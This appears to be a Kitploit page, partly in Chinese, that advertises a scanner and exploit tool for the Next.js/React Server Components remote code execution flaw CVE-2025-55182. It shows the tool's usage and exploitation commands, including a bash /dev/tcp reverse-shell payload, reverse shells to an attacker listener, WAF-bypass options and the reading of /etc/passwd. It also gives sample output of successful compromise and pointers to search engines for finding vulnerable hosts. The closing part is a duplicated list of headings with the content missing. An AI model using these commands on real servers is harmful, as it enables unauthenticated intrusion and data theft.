CVE-2025-55182-Waf — CVE-2025-55182 Next.js/React RSC 服务器中的 RCE 漏洞（漏洞利用和扫描器） | Kitploit

类别	信息
发布时间	2025-12-03
基础分数	10.0（严重）
研究人员	Lachlan Davidson (https://github.com/lachlan2k)
向量	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
描述	React Server Components 中存在一个严重的远程代码执行（RCE）漏洞。使用 React 服务端运行时（包括 Next.js 等框架）的应用程序均受影响。该问题源于对不受信任的“Flight”协议数据进行了不安全的反序列化，使攻击者能够在服务器上实现未认证的代码执行。需要更新到已修补的 React 和框架版本。
EPSS 分数	27.81%（利用概率）
CISA KEV 目录	已列入：是，勒索软件：未知
HackerOne Hacktivity	排名：1，报告：92
补丁优先级	A+

## 用法```bash
❯ python3 CVE-2025-55182.py -h

__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

usage: CVE-2025-55182.py [-h] (-u URL | -f FILE) [-c COMMAND] [-p PAYLOAD] [-r LHOST:LPORT] [-sm MODE]
                         [-wb] [-wbs KB] [-wbu] [-o FILE] [-t NUM] [-T SEC] [-P URL] [-H HEADER] [-v]

Powerful all-in-one tool (scan and exploit) CVE-2025-55182 in Next.js applications

options:
  -h, --help                       show this help message and exit
  -u, --url URL                    Single URL to scan or exploit.
  -f, --file FILE                  File containing a list of URLs to scan/exploit.

Exploitation Options:
  -c, --command COMMAND            Command to execute on the target(s).
  -p, --payloads PAYLOAD           Custom payload to execute on the target(s). Can be a string or a
                                   file path.
  -r, --reverse-shell LHOST:LPORT  Attempt a reverse shell.

Scanning Options:
  -sm, --scan-mode MODE            Scanning technique. Choices: {rce, safe, vercel_bypass}. (default:
                                   rce)
  -wb, --waf-bypass                Add junk data to the request to bypass WAFs.
  -wbs, --waf-bypass-size KB       Size of junk data in KB (default: 128).
  -wbu, --waf-bypass-utf16le       Use UTF-16LE encoding to bypass WAFs.

General Options:
  -o, --output FILE                File to save vulnerable URLs from scans.
  -t, --threads NUM                Number of concurrent threads (default: 10).
  -T, --timeout SEC                Request timeout in seconds (default: 10).
  -P, --proxy URL                  Proxy to use (e.g., http://127.0.0.1:8080).
  -H, --header HEADER              Add custom headers (e.g., 'Cookie: session=...').
  -v, --verbose                    Enable verbose output for success/failed/non-vulnerable checks.

### 利用```bash
# Execute a command on a single target
python3 CVE-2025-55182.py -u http://target.com -c "cat /etc/passwd"

# Use WAF bypass techniques
python3 CVE-2025-55182.py -u http://target.com -c "whoami" -wb

# Use a custom payload string
python3 CVE-2025-55182.py -u http://target.com -p "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"

# Use a custom payload from a file (windows target)
python3 CVE-2025-55182.py -u http://target.com -p windows_revshell.sh

# Get a reverse shell (linux default reverse shell) 
python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444

# Get a reverse shell using a payload file (linux target)
python3 CVE-2025-55182.py -u http://target.com -p linux_revshell.sh

# Force a windows reverse shell payload if auto-detection fails
python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444 --os windows

# Intercept in Burpsuite  
python3 CVE-2025-55182.py -u http://target.com -wbu -P http://127.0.0.1:8080

```bash
__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\[_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \__  \ _/ ___	__\/  ____/  \_____  \ |  |  \/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \ ___\|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 
        
[+] VULNERABLE: http://target.com (Mode: rce)

```bash
__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

[+] VULNERABLE: http://target.com - Status: 500 (Mode: rce) (OS: Linux, Web Server: nginx/1.29.3)
    Target Information:
        Detected OS: Linux
        Server Software: next.js
        Content Type: text/html; charset=utf-8
        System Time: Sat, 06 Dec 2025 19:59:32 GMT
    Response snippet:
      HTTP/1.1 500 Internal Server Error
      Date: Sat, 06 Dec 2025 19:59:32 GMT
      Content-Type: text/html; charset=utf-8
      Content-Length: 4615
      Connection: keep-alive
      X-Powered-By: Next.js
      ETag: W/"1207-I2098797987"
      Vary: RSC, Next-Router-State-Tree

__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

[-] NOT VULNERABLE: https://tryhackme.com
[*] Verbose output for https://tryhackme.com:
    Target Information:
        Detected OS: Unknown
        Server Software: cloudflare
        Content Type: text/html; charset=UTF-8
        System Time: Sat, 06 Dec 2025 19:59:32 GMT
    Status Code: 500
    Response Headers:
        Date: Sat, 06 Dec 2025 19:59:32 GMT
        Content-Type: text/html; charset=UTF-8
        Content-Length: 4615
        Connection: keep-alive
        Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
        Expires: Thu, 01 Jan 1970 00:00:01 GMT
        Referrer-Policy: same-origin
        X-Frame-Options: SAMEORIGIN
        Server: cloudflare
        CF-RAY: 9a9e5d42b96204be-HKG
    Response Body (first 500 chars):
        <!DOCTYPE html>
        <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->
        <!--[if IE 7]>    <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->
        <!--[if IE 8]>    <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->
        <!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]-->
        <head>
        <title>Worker threw exception | tryhackme.com | Cloudflare</title>
        <meta charset="UTF-8" />
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
        <meta http-equiv

```bash
__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

[*] Exploiting: https://target.com with command: whoami && echo "" && cat /etc/passwd
[+] COMMAND EXECUTED SUCCESSFULLY - Status: 500
----------------------------------------
nextjs

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
----------------------------------------

```bash
__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

[*] Attempting reverse shell to 10.10.10.1:4444 from http://target.com
[*] Detected OS: Linux
[*] Using Linux (bash) reverse shell payload.
[*] Please start your listener, e.g., nc -lvnp 4444
[*] Payload sent. Check your listener.

__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

[*] Attempting reverse shell to 10.10.10.1:4444 from http://windows-target.com
[*] Detected OS: Windows
[*] Using Windows (powershell) reverse shell payload.
[*] Please start your listener, e.g., nc -lvnp 4444
[*] Payload sent. Check your listener.

![utf-16](https://assets.kitploit.com/production/public/readmes/28258/b540c1e9fb07316478772ec219d6f4f86437947215e5604353e9b9d59296f8ed.png)
### 网络错误```bash
python3 CVE-2025-55182.py -u http://target.com:3000 -c "id" -v

__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

[*] Exploiting: http://target.com:3000 with command: id
[-] FAILED TO EXECUTE COMMAND
[*] Verbose output for http://target.com:3000:
    Status Code: -1
    Response Headers:
        (No headers received)
    Response Body (first 200 chars):
        An error occurred: HTTPConnectionPool(host='target.com', port=3000): Max retries exceeded with url: / (Caused by ConnectTimeoutError(<urllib3.connection.HTTPConnection object at 0x7f846d6caa50>, 'Co

CVE-2025-55182-Waf

最受欢迎

📈 漏洞详情

🎯 受影响版本

🛠️ 安装```bash

Create a virtual environment

Install dependencies

🔬 扫描模式

不同编码技术的 WAF 绕过

🚀 示例

扫描```bash

Scan a single URL with the default rce check

Scan a list of URLs with the `safe` mode and 20 threads

Scan with Vercel WAF bypass mode and save vulnerable URLs to a file

💻 扫描易受攻击的目标```bash

使用详细输出进行扫描```bash

使用命令进行利用```bash

使用反弹Shell进行利用```bash

Waf绕过 UTF-16LE```bash

[*] Exploiting: http://target.com/apps with command: id && ls -al [+] COMMAND EXECUTED SUCCESSFULLY - Status: 500 (Web Server: nginx/1.29.3)

3443983266

📂 有效载荷

📚 延伸阅读

🔎 查找存在漏洞的系统

Shodan

Censys

Google Dorks

BinaryEdge

Zoomeye

FOFA

⚠️ 免责声明

📝 Issue

CVE-2025-55182-Waf

最受欢迎

Next.js/React RSC 扫描器与利用 - RCE

✨ 功能

📈 漏洞详情

🎯 受影响版本

🛠️ 安装```bash

Create a virtual environment

Install dependencies

🔬 扫描模式

不同编码技术的 WAF 绕过

🚀 示例

扫描```bash

Scan a single URL with the default rce check

Scan a list of URLs with the safe mode and 20 threads

Scan with Vercel WAF bypass mode and save vulnerable URLs to a file

💻 扫描易受攻击的目标```bash

使用详细输出进行扫描```bash

使用命令进行利用```bash

使用反弹Shell进行利用```bash

Waf绕过 UTF-16LE```bash

[*] Exploiting: http://target.com/apps with command: id && ls -al [+] COMMAND EXECUTED SUCCESSFULLY - Status: 500 (Web Server: nginx/1.29.3)

3443983266

📂 有效载荷

📚 延伸阅读

🔎 查找存在漏洞的系统

Shodan

Censys

Google Dorks

BinaryEdge

Zoomeye

FOFA

⚠️ 免责声明

📝 Issue

Scan a list of URLs with the `safe` mode and 20 threads